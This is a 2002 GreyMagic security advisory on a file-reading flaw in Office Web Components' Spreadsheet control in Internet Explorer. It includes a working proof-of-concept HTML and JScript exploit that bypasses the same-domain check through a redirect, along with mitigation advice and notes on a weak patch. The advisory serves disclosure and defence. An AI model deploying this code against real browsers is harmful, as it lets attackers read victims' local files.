GreyMagic Security Advisory GM#006-IE
By GreyMagic Software, Israel.08 Apr 2002.
Topic: Reading local files with OWC in IE.
Discovery date: 24 Feb 2002.
Affected applications:- Office 2000 - Office Web Components 9, Spreadsheet component.
- Office XP - Office Web Components 10, Spreadsheet component.
Office Web Components (OWC) is a group of safe for scripting components used to enrich HTML documents with Spreadsheets, Charts, Pivot tables and more.
OWC ships with the Microsoft Office package, but it is also downloadable as a separate (free for viewing only) component.
Discussion:Using the Spreadsheet component in both OWC9 and OWC10, it is possible to read any local or remote file.
The "LoadText" method of the Range object takes a URL as its first argument; it throws an error if the URL supplied is not in the same domain as the current document.
However, this protection can be easily bypassed by supplying a URL that will redirect to the desired local or remote file.
OWC is fooled to think that the URL is safe and loads the contents of the file into the spreadsheet; it is then trivial to retrieve the content and transfer it to the server or use it in malicious ways.
Update (22-Aug-2002):Microsoft has released a patch for these issues, however, the "Kill Bit" was not set for the vulnerable OWC version. This means that an attacker can easily reintroduce the old OWC, properly signed by Microsoft, and gain complete access to the vulnerabilities we found. And unlike Microsoft claims, it's not that easy to notice it install itself, an attacker can open an off-screen window that will silently install OWC without the user knowing.
This is a fundamental problem in the patch and it renders it quite useless for users who set their IE to trust content from Microsoft or users that tend to click "Yes" when they see controls signed by Microsoft.
Exploit:This example reads the contents of the file "c:/test.txt", the URL "getFile.asp" is redirecting to "file://c:/test.txt", allowing us to read it:
<object classid="clsid:0002E510-0000-0000-C000-000000000046" id="oSP" style="display:none"></object>
<script language="jscript">
onload=function () {
try {
// Load file into spreadsheet
oSP.ActiveSheet.UsedRange.LoadText("getFile.asp");
// Read the spreadsheet
var oRng=oSP.ActiveSheet.UsedRange,
iRows=oRng.Rows.Count,
iCols=oRng.Columns.Count,
sRes="";
for (var iCRow=1;iCRow<=iRows;iCRow++) {
for (var iCCol=1;iCCol<=iCols;iCCol++) {
sRes+=(oSP.Cells(iCRow,iCCol).Value || "")+"\t";
}
sRes+="\n";
}
// Display result
alert(sRes);
}
catch (oErr) {
// Failed
alert("File not found.");
}
}
</script>
The class id of the <object> element above is for the spreadsheet component of OWC9 (Microsoft Office 2000), OWC10's class id is "0002E551-0000-0000-C000-000000000046", no further changes in code are needed.
An attacker can actually use the fallback feature of the <object> element to include either one of these components:
<!-- Try to include OWC10 -->
<object classid="clsid:0002E551-0000-0000-C000-000000000046" id="oSP10" style="display:none">
<!-- Failed, try to include OWC9 -->
<object classid="clsid:0002E510-0000-0000-C000-000000000046" id="oSP9" style="display:none">
<!-- None found -->
Failed to load any of the spreadsheet components.
</object>
</object>
Set "Run ActiveX controls and plug-ins" to "Disable" or simply remove/disable OWC until a patch becomes available.
Microsoft has been informed, they have opened an investigation regarding this issue.
IE5 NT4 + Office 2000 (OWC9).
IE5.5 NT4 + Office 2000 (OWC9).
IE5.5 NT4 + OWC10.
IE6 Win2000 + Office 2000 (OWC9).
IE6 WinXP + Office XP (OWC10).
Status: Waiting.
Disclaimer:The information in this security advisory and any of its demonstrations is provided "as is" without warranty of any kind.
Vulnerability details are provided strictly for educational and defensive purposes.
GreyMagic Software is not liable for any direct or indirect damages caused as a result of using the information or demonstrations provided in any part of this advisory.
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